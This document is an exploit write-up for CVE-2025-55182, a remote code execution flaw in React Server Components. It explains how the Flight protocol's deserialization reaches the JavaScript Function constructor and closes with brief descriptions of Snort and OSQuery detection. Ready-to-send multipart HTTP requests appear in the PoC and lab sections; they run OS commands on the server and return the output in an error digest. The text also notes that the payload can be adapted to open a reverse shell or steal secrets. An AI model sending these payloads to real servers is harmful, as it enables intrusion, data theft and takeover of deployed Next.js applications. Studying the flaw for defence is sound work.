
Proof-of-concept exploit demonstrating remote code execution via insecure deserialization in React Flight protocol (CVE-2025-55182). Includes Snort and OSQuery detection rules.
React Server Components is a feature introduced in React 19 that allows components to be rendered on the server instead of in the client's browser. The server can handle complex computational tasks while only sending the rendered result to the client.
Communication between the server and client in RSC is based on the React Flight protocol. This protocol handles the serialization and deserialization of data passed between the server and client. When a client needs to call a server-side function (Server Action), it sends a specially formatted request containing serialized data for the server to deserialize and process.
The Flight protocol uses a specific serialization format with data type markers. For example:
This serialization mechanism is exactly where the vulnerability resides. The server processes these references without properly validating that the requested properties are actually valid exports from the intended module.
CVE-2025-55182 is essentially an unsafe deserialization vulnerability in how RSC handles incoming Flight protocol payloads. The vulnerability exists in the requireModule function of the react-server-dom-webpack package.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
The critical flaw lies in the bracket notation access: moduleExports[metadata[2]]
In JavaScript, when accessing a property using bracket notation, the JavaScript engine does not only check the object's own properties but also traverses the entire prototype chain. This means an attacker can reference properties that are not explicitly exported by the module.
Most importantly, every function in JavaScript has a constructor property pointing to the Function constructor. By accessing someFunction.constructor, an attacker obtains a reference to the global Function constructor, an object that can execute arbitrary JavaScript code when called with a string argument.
The vulnerability becomes exploitable because React's Flight protocol allows the client to specify these property paths through colon-separated reference syntax. An attacker can craft a reference like $1:constructor:constructor, which will perform the following traversal:
.constructor property (obtaining the Function Constructor).constructor once more (still the Function Constructor, but confirming the access chain)The PoC begins by sending a multipart form request with three fields. The first field contains a deliberately crafted fake Chunk object:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
This object mimics the internal structure of React's chunk class. By setting then to reference Chunk.prototype.then, it creates a self-referential structure. When React processes and awaits this Chunk, the then method is called with the fake Chunk as the this context.
The next critical component is the $B1337 reference. In React's Flight protocol, the $B prefix denotes a Blob reference. When React processes a Blob reference, it calls a function that uses: response._formData.get(response._prefix + id)
Here, the _response object has been injected with malicious properties. When the Blob handler executes: response._formData.get(response._prefix + id)
It actually performs: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
The reason is that _formData.get is set to $1:constructor:constructor, a reference that resolves to the Function constructor. The _prefix value contains the malicious code. When combined, the Function constructor is called with the malicious string as an argument, creating and executing a function containing arbitrary JS code.
The payload process.mainModule.require('child_process').execSync('xcalc') demonstrates the capability of this exploit. The payload:
process.mainModule (the main module currently being executed)require method to load the child_process moduleexecSync to execute an operating system commandxcalc) to demonstrate successful exploitationThis payload can be modified to establish a reverse shell, extract environment variables containing secret information, read sensitive files, or perform any operation that the Node.js process has permission to execute.
Here is a complete request from maple3142's PoC:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
The Next-Action: x header triggers React's Server Action handling mechanism. The body consists of 3 parts:
_response structure.$@0 reference pointing back to field 0, creating a self-referential structure.When the server processes this request, it deserializes field 0, encounters the $@0 reference in field 1, sets up the self-referential then property, then triggers the Blob handler, which executes code through the Function constructor.
CVE-2025-55182 affects React Server Components in the following versions:
This vulnerability is dangerous because:
create-next-app can be exploited without any source code changes.According to Shodan, there are more than 571,000 public servers using React components and 444,000 servers using Next.js. Although not all of them run affected versions, the potential attack surface is enormous.
An attack request must necessarily have a combination of the following very specific elements:
Next-Action header and the data format is multipart/form-data.How it works: This Snort rule will block/alert on network traffic directed to the server (to_server) that exhibits all the anomalies mentioned in section 2 (Headers + PCRE checking for the malicious payload string).
Purpose: Detect and prevent exploitation behavior as it is happening on the network.
How it works: Run a periodic scan command on servers or within the software build process (CI/CD) to find affected Node.js library packages (npm_packages).
Target packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack
Vulnerable versions scanned: 19.0.0, 19.1.0 up to below 19.1.2, and 19.2.0.
Purpose: Proactively detect at-risk applications before they reach the Production environment.
Payload for the lab:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--